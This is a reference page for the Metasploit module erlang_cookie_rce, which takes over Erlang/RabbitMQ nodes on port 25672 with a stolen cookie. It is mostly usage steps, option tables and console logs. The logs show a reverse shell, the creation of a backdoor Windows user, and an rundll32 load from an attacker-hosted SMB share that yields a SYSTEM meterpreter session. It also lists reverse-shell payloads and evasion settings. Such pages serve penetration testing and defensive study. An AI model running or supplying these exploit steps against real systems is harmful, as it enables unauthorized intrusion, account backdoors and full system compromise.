Erlang Port Mapper Daemon Cookie RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/erlang_cookie_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Erlang Port Mapper Daemon Cookie RCE
Module: exploit/multi/misc/erlang_cookie_rce
Source code: modules/exploits/multi/misc/erlang_cookie_rce.rb
Disclosure date: 2009-11-20
Last modification time: 2021-09-04 14:34:05 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 25672
List of CVEs: -
The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named ".erlang.cookie" and varies on location.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/erlang_cookie_rce
msf exploit(erlang_cookie_rce) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
COOKIE: Erlang cookie to login with
Knowledge Base
Vulnerable Application
The Erlang Port Mapper Daemon is used to coordinate distributed erlang
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as its configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g C:\Users\<USER>\.erlang.cookie
. Code execution is achieved via the
os:cmd('cmd').
command
Verification Steps
- Install the Erlang Port Mapper Daemon
- Install RabbitMQ
- Start
msfconsole
- Do
use exploit/multi/misc/erlang_cookie_rce
- Do
set RHOST <ip>
- Do
set COOKIE <cookie>
- Do
set TARGET <target>
- Do
set LHOST <host>
exploit
and verify shell is opened (if on windows login)
Scenarios
Ubuntu 16.04.5 LTS
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] Started reverse TCP double handler on W.X.Y.Z:4444
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600
id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
Windows 10 (Build 17134)
First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)
msf exploit(multi/misc/erlang_cookie_rce) > options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)
Payload options (cmd/windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Wetw0rkHax0r$1 yes The password for this user
USER wetw0rk yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group
Exploit target:
Id Name
-- ----
1 Windows
msf exploit(multi/misc/erlang_cookie_rce) > exploit
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Exploit completed, but no session was created.
Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.
exploit.rc ->
use exploit/windows/smb/smb_delivery
set SHARE MSF
set TARGET 0
exploit -j
use exploit/multi/misc/erlang_cookie_rce
set COOKIE EXAMPLE
set TARGET 1
set RHOST A.B.C.D
set PAYLOAD cmd/windows/generic
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
exploit -j
msf > resource exploit.rc
[*] Processing /root/exploit.rc for ERB directives.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on W.X.Y.Z:4444
[*] Started service listener on W.X.Y.Z:445
[*] Server started.
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
[*] Exploit running as background job 1.
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Sending stage (179779 bytes) to A.B.C.D
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/erlang_cookie_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/erlang_cookie_rce
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/erlang_cookie_rce) > show info
Name: Erlang Port Mapper Daemon Cookie RCE
Module: exploit/multi/misc/erlang_cookie_rce
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2009-11-20
Provided by:
Daniel Mende
Milton Valencia (wetw0rk)
Available targets:
Id Name
-- ----
0 Unix
1 Linux (CmdStager)
2 Windows
3 Windows (CmdStager)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE yes Erlang cookie to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25672 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
The erlang port mapper daemon is used to coordinate distributed
erlang instances. Should an attacker get the authentication cookie
RCE is trivial. Usually, this cookie is named ".erlang.cookie" and
varies on location.
References:
https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Module Options
This is a complete list of options available in the multi/misc/erlang_cookie_rce exploit:
msf6 exploit(multi/misc/erlang_cookie_rce) > show options
Module options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE yes Erlang cookie to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25672 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/erlang_cookie_rce exploit:
msf6 exploit(multi/misc/erlang_cookie_rce) > show advanced
Module advanced options (exploit/multi/misc/erlang_cookie_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf, echo, bourne, certutil, vbs)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/erlang_cookie_rce module can exploit:
msf6 exploit(multi/misc/erlang_cookie_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix
1 Linux (CmdStager)
2 Windows
3 Windows (CmdStager)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/erlang_cookie_rce exploit:
msf6 exploit(multi/misc/erlang_cookie_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/erlang_cookie_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/erlang_cookie_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Authentication Failed:<COOKIE>
Here is a relevant code snippet related to the "Authentication Failed:<COOKIE>" error message:
170:
171: print_status("Sending challenge reply")
172: sock.put(send_challenge_reply)
173:
174: if sock.get.length < 1
175: fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
176: end
177:
178: print_good("Authentication successful, sending payload")
179:
180: print_status('Exploiting...')
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #12408 Merged Pull Request: fix spelling received
- #11156 Merged Pull Request: Add CmdStager to erlang_cookie_rce
- #11089 Merged Pull Request: Erlang cookie rce exploit module
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
- exploit/multi/misc/claymore_dual_miner_remote_manager_rce
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/multi/misc/jboss_remoting_unified_invoker_rce
- exploit/multi/misc/msfd_rce_remote
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/unix/webapp/actualanalyzer_ant_cookie_exec
- exploit/windows/http/dnn_cookie_deserialization_rce
- exploit/windows/http/servu_session_cookie
- auxiliary/admin/edirectory/edirectory_dhost_cookie
- auxiliary/gather/android_browser_new_tab_cookie_theft
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/allegro_rompager_misfortune_cookie
- post/firefox/gather/cookies
- post/multi/gather/chrome_cookies
Authors
- Daniel Mende
- Milton Valencia (wetw0rk)
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.